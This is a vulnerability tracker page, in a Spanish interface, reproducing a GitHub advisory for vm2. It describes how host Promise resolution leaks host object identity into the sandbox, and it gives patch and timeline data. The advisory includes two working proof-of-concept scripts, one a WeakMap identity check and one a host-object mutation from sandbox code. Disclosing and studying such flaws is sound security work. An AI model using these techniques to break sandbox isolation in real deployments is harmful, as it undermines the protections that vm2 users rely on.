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Advisory · GitHub · npm · vm2

GHSA-MPF8-4HX2-7CJG

vm2 Host Promise Resolution Preserves Object Identity Across Sandbox Boundary

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -6 d de la divulgación
Exposición196 dDesde la divulgación, 6 may 2026, 11:29 p. m.
Detección193 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 3.11.0
Monitoreo
Detectada
1 may 26
7 may 26
14 may 26
17 nov 26
19 nov 26
1 may 26
20 jun 26
10 ago 26
30 sept 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 3.11.0 vm2 · -6 d desde divulgación
Divulgación Publicada GHSA-MPF8-4HX2-7CJG divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A sandbox boundary violation in vm2 allows host object identity to cross into the sandbox through host Promise resolution.

When a host-side Promise that resolves to a host object is exposed to the sandbox, the value delivered to the sandbox `.then()` callback preserves host identity. This allows the sandbox to interact with the host object directly, including:

  • Performing identity checks using host-side `WeakMap`
  • Mutating host object state from inside the sandbox

This behavior occurs because the Promise fulfillment wrapper uses `ensureThis()` instead of the stronger cross-realm conversion path (`from()` / proxy wrapping). If no prototype mapping is found, `ensureThis()` returns the original object.

As a result, objects resolved by host Promises can cross the sandbox boundary without proper isolation.

---

Details

In `setup-sandbox.js`, vm2 wraps `Promise.prototype.then`:

```js
globalPromise.prototype.then = function then(onFulfilled, onRejected) {
resetPromiseSpecies(this);

if (typeof onFulfilled === 'function') {
const origOnFulfilled = onFulfilled;
onFulfilled = function onFulfilled(value) {
value = ensureThis(value);
return apply(origOnFulfilled, this, [value]);
};
}

return apply(globalPromiseThen, this, [onFulfilled, onRejected]);
};

The wrapper calls ensureThis(value) before invoking the sandbox callback.

However, ensureThis is implemented in bridge.js as thisEnsureThis():

function thisEnsureThis(other) {
const type = typeof other;

switch (type) {
case 'object':
if (other === null) return null;

case 'function':
let proto = thisReflectGetPrototypeOf(other);

if (!proto) {
return other;
}

while (proto) {
const mapping = thisReflectApply(thisMapGet, protoMappings, [proto]);

if (mapping) {
const mapped = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);
if (mapped) return mapped;
return mapping(defaultFactory, other);
}

proto = thisReflectGetPrototypeOf(proto);
}

return other;

If no prototype mapping is found, ensureThis() simply returns the original object:

return other;

This means the sandbox receives the original host object instead of a proxied or sanitized representation.

Because of this behavior, values resolved by host Promises can cross the host–sandbox boundary with identity preserved.

PoC

The following Proof of Concept demonstrates that an object resolved by a host Promise can be used as a valid key in a host-side WeakMap from inside the sandbox.

WeakMap keys rely on reference identity, so a successful lookup proves that the sandbox received the host object identity.

PoC Code
import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ"};
const hostPromise = Promise.resolve(hostObj);

// WeakMap created on the host
const wm = new WeakMap([[hostObj, "HIT"]]);

const vm = new VM({
sandbox: {hostPromise, wm},
timeout: 1000,
eval: false,
wasm: false,
});

const code = `
hostPromise.then(v => ({
weakMapGet: wm.get(v),
typeofV: typeof v,
tag: v.tag
}))
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST SAME KEY STILL:", wm.get(hostObj));
Output
VM RESULT: { weakMapGet: 'HIT', typeofV: 'object', tag: 'HOST_OBJ' }
HOST SAME KEY STILL: HIT

This confirms that the object delivered to the sandbox callback retains host identity.

Additional Demonstration: Host Object Mutation

The sandbox can also mutate host object state through the resolved Promise value.

import {VM} from "./index.js";

const hostObj = {tag: "HOST_OBJ", nested: {x: 1}};
const hostPromise = Promise.resolve(hostObj);

const vm = new VM({
sandbox: {hostPromise},
timeout: 1000,
eval: false,
wasm: false,
});

const code = `
hostPromise.then(v => {
v.nested.x = 999;
v.tag = "MUTATED";
return { seenTag: v.tag, seenX: v.nested.x };
})
`;

const result = await vm.run(code);

console.log("VM RESULT:", result);
console.log("HOST AFTER:", hostObj);

Output:
VM RESULT: { seenTag: 'MUTATED', seenX: 999 }
HOST AFTER: { tag: 'MUTATED', nested: { x: 999 } }

This demonstrates write-through mutation of a host object from sandbox code.

Impact
This vulnerability allows host object references to cross the vm2 sandbox boundary via Promise resolution.

Consequences include:

Host object identity disclosure

Write-through mutation of host objects

WeakMap / WeakSet identity oracle across the boundary

Potential capability leaks if sensitive host objects are reachable via Promises

Applications that expose host Promises to sandboxed code may unintentionally grant the sandbox direct access to host objects.

This weakens the intended isolation guarantees of vm2.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
vm2< 3.11.0
3.11.0
3.12.2
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npmvm2
Corregida 3.11.0 -6 d 3.12.2 no afectada
Versiones corregidas3.11.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-44000
Otrahttps://github.com/patriksimek/vm2/security/advisories/GHSA-mpf8-4hx2-7cjg
Otrahttps://github.com/patriksimek/vm2
Otrahttps://github.com/patriksimek/vm2/releases/tag/v3.11.0

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